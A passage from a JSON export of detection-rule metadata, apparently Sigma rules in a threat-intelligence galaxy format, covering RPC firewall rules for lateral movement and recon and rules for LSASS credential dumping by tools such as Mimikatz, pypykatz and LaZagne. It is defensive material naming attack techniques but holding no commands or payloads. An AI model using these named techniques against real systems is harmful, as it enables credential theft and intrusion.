"https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "d8ffe17e-04be-4886-beb9-c1dd1944b9a8", "value": "Remote Registry Recon" }, { "description": "Detects remote RPC calls to read information about scheduled tasks", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_itaskschedulerservice_recon.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", "value": "Remote Schedule Task Recon via ITaskSchedulerService" }, { "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Administrative tasks on remote services" ], "filename": "rpc_firewall_remote_service_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SCMR.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_service_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "10018e73-06ec-46ec-8107-9172f1e04ff2", "value": "Remote Server Service Abuse for Lateral Movement" }, { "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_atsvc_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.t1053", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", "value": "Remote Schedule Task Lateral Movement via ATSvc" }, { "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_dcsync_attack.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" ], "tags": [ "attack.t1033", "attack.discovery" ] }, "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", "value": "Possible DCSync Attack" }, { "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Remote administrative tasks on Windows Events" ], "filename": "rpc_firewall_eventlog_recon.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", "value": "Remote Event Log Recon" }, { "description": "Detects remote RPC calls to create or execute a scheduled task", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.t1053", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService" }, { "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Some administrative tasks on remote host" ], "filename": "rpc_firewall_remote_dcom_or_wmi.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.003", "attack.t1047" ] }, "related": [ { "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", "value": "Remote DCOM/WMI Lateral Movement" }, { "description": "Detects remote RPC calls to create or execute a scheduled task via SASec", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_sasec_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.t1053", "attack.t1053.002" ] }, "related": [ { "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aff229ab-f8cd-447b-b215-084d11e79eb0", "value": "Remote Schedule Task Lateral Movement via SASec" }, { "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Actual printing" ], "filename": "rpc_firewall_printing_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" ], "tags": [ "attack.lateral_movement" ] }, "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", "value": "Remote Printing Abuse for Lateral Movement" }, { "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_sharphound_recon_sessions.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" ], "tags": [ "attack.t1033" ] }, "uuid": "6d580420-ff3f-4e0e-b6b0-41b90c787e28", "value": "SharpHound Recon Sessions" }, { "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Legitimate usage of remote file encryption" ], "filename": "rpc_firewall_efs_abuse.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", "https://github.com/zeronetworks/rpcfirewall", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" ], "tags": [ "attack.lateral_movement" ] }, "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", "value": "Remote Encrypting File System Abuse" }, { "description": "Detects remote RPC calls to read information about scheduled tasks via SASec", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_sasec_recon.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sasec_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "0a3ff354-93fc-4273-8a03-1078782de5b7", "value": "Recon Activity via SASec" }, { "description": "Detects remote RPC calls to modify the registry and possible execute code", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Remote administration of registry values" ], "filename": "rpc_firewall_remote_registry_lateral_movement.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" ], "tags": [ "attack.lateral_movement", "attack.t1112" ] }, "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", "value": "Remote Registry Lateral Movement" }, { "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Legitimate remote share creation" ], "filename": "rpc_firewall_remote_server_service_abuse.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://github.com/zeronetworks/rpcfirewall", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" ], "tags": [ "attack.lateral_movement" ] }, "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", "value": "Remote Server Service Abuse" }, { "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", "meta": { "author": "Sagie Dulce, Dekel Paz", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "rpc_firewall_atsvc_recon.yml", "level": "high", "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", "https://github.com/zeronetworks/rpcfirewall", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", "value": "Remote Schedule Task Recon via AtScv" }, { "description": "Detects PowerShell processes requesting access to \"lsass.exe\"", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_winapi_in_powershell_credentials_dumping.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_winapi_in_powershell_credentials_dumping.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0f920ebe-7aea-4c54-b202-9aa0c609cfe5", "value": "Potential Credential Dumping Attempt Via PowerShell" }, { "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", "meta": { "author": "Florian Roth", "creation_date": "2021/11/27", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason" ], "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", "value": "LSASS Access from Program in Suspicious Folder" }, { "description": "Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2020/10/20", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_lsass_dump_comsvcs_dll.yml", "level": "critical", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/shantanukhande/status/1229348874298388484", "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_dump_comsvcs_dll.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a49fa4d5-11db-418c-8473-1e014a8dd462", "value": "Lsass Memory Dump via Comsvcs DLL" }, { "description": "Detects various indicators of Microsoft Connection Manager Profile Installer execution", "meta": { "author": "Nik Seetharaman", "creation_date": "2018/07/16", "falsepositive": [ "Legitimate CMSTP use (unlikely in modern enterprise environments)" ], "filename": "proc_access_win_cmstp_execution_by_access.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_cmstp_execution_by_access.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.003", "attack.execution", "attack.t1559.001", "attack.g0069", "attack.g0080", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3b4b232a-af90-427c-a22f-30b0c0837b95", "value": "CMSTP Execution Process Access" }, { "description": "COM interface (EditionUpgradeManager) that is not used by standard executables.", "meta": { "author": "oscd.community, Dmitry Uchakin", "creation_date": "2020/10/07", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_load_undocumented_autoelevated_com_interface.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://www.snip2code.com/Snippet/4397378/UAC-bypass-using-EditionUpgradeManager-C/", "https://gist.github.com/hfiref0x/de9c83966623236f5ebf8d9ae2407611", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_load_undocumented_autoelevated_com_interface.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb3722e4-1a06-46b6-b772-253e2e7db933", "value": "Load Undocumented Autoelevated COM Interface" }, { "description": "Detects LSASS process access by pypykatz for credential dumping.", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/08/03", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", "level": "critical", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/skelsec/pypykatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7186e989-4ed7-4f4e-a656-4674b9e3e48b", "value": "Credential Dumping by Pypykatz" }, { "description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", "meta": { "author": "Tim Burrell", "creation_date": "2020/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_invoke_phantom.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/timbmsft/status/900724491076214784", "https://github.com/hlldz/Invoke-Phant0m", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_invoke_phantom.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "166e9c50-8cd9-44af-815d-d1f0c0e90dde", "value": "Suspect Svchost Memory Asccess" }, { "description": "Detects a possible process memory dump that uses the white-listed filename like TrolleyExpress.exe as a way to dump the lsass process memory without Microsoft Defender interference", "meta": { "author": "Florian Roth", "creation_date": "2022/02/10", "falsepositive": [ "Unlikely, since these tools shouldn't access lsass.exe at all" ], "filename": "proc_access_win_lsass_memdump_evasion.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1460597833917251595", "https://twitter.com/_xpn_/status/1491557187168178176", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_memdump_evasion.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4be8b654-0c01-4c9d-a10c-6b28467fc651", "value": "LSASS Access from White-Listed Processes" }, { "description": "Detects usage of mimikatz through WinRM protocol by monitoring access to lsass process by wsmprovhost.exe.", "meta": { "author": "Patryk Prauze - ING Tech", "creation_date": "2019/05/20", "falsepositive": [ "Unlikely" ], "filename": "proc_access_win_mimikatz_trough_winrm.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2018/05/15/lateral-movement-winrm/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_mimikatz_trough_winrm.yml" ], "tags": [ "attack.credential_access", "attack.execution", "attack.t1003.001", "attack.t1059.001", "attack.lateral_movement", "attack.t1021.006", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa35a627-33fb-4d04-a165-d33b4afca3e8", "value": "Mimikatz through Windows Remote Management" }, { "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", "meta": { "author": "Florian Roth", "creation_date": "2012/06/27", "falsepositive": [ "Actual failures in lsass.exe that trigger a crash dump (unlikely)", "Unknown cases in which WerFault accesses lsass.exe" ], "filename": "proc_access_win_lsass_werfault.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/helpsystems/nanodump/commit/578116faea3d278d53d70ea932e2bbfe42569507", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lsass_werfault.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0002" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e5b33f7d-eb93-48b6-9851-09e1e610b6d7", "value": "WerFault Accassing LSASS" }, { "description": "Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro", "meta": { "author": "John Lambert (tech), Florian Roth (rule)", "creation_date": "2017/03/04", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_malware_verclsid_shellcode.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/JohnLaTwC/status/837743453039534080", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_malware_verclsid_shellcode.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "b7967e22-3d7e-409b-9ed5-cdae3f9243a1", "value": "Malware Shellcode in Verclsid Target Process" }, { "description": "Detects LSASS process access by LaZagne for credential dumping.", "meta": { "author": "Bhabesh Raj, Jonhnathan Ribeiro", "creation_date": "2020/09/09", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_lazagne_cred_dump_lsass_access.yml", "level": "critical", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://twitter.com/bh4b3sh/status/1303674603819081728", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_lazagne_cred_dump_lsass_access.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001", "attack.s0349" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b9a8556-99c4-470b-a40c-9c8d02c77ed0", "value": "Credential Dumping by LaZagne" }, { "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", "meta": { "author": "Florent Labouyrie", "creation_date": "2021/04/30", "falsepositive": [ "Non identified legit exectubale" ], "filename": "proc_access_win_svchost_cred_dump.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" ], "tags": [ "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "174afcfa-6e40-4ae9-af64-496546389294", "value": "SVCHOST Credential Dump" }, { "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", "meta": { "author": "Christian Burkard", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" ], "filename": "proc_access_win_uac_bypass_wow64_logger.yml", "level": "high", "logsource.category": "process_access", "logsource.product": "windows", "refs": [ "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", "value": "UAC Bypass Using WOW64 Logger DLL Hijack" }, { "description": "Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up.", "meta": { "author": "Samir Bousseaden, Michael Haag", "creation_date": "2019/04/03", "falsepositive": [ "False positives are present when looking 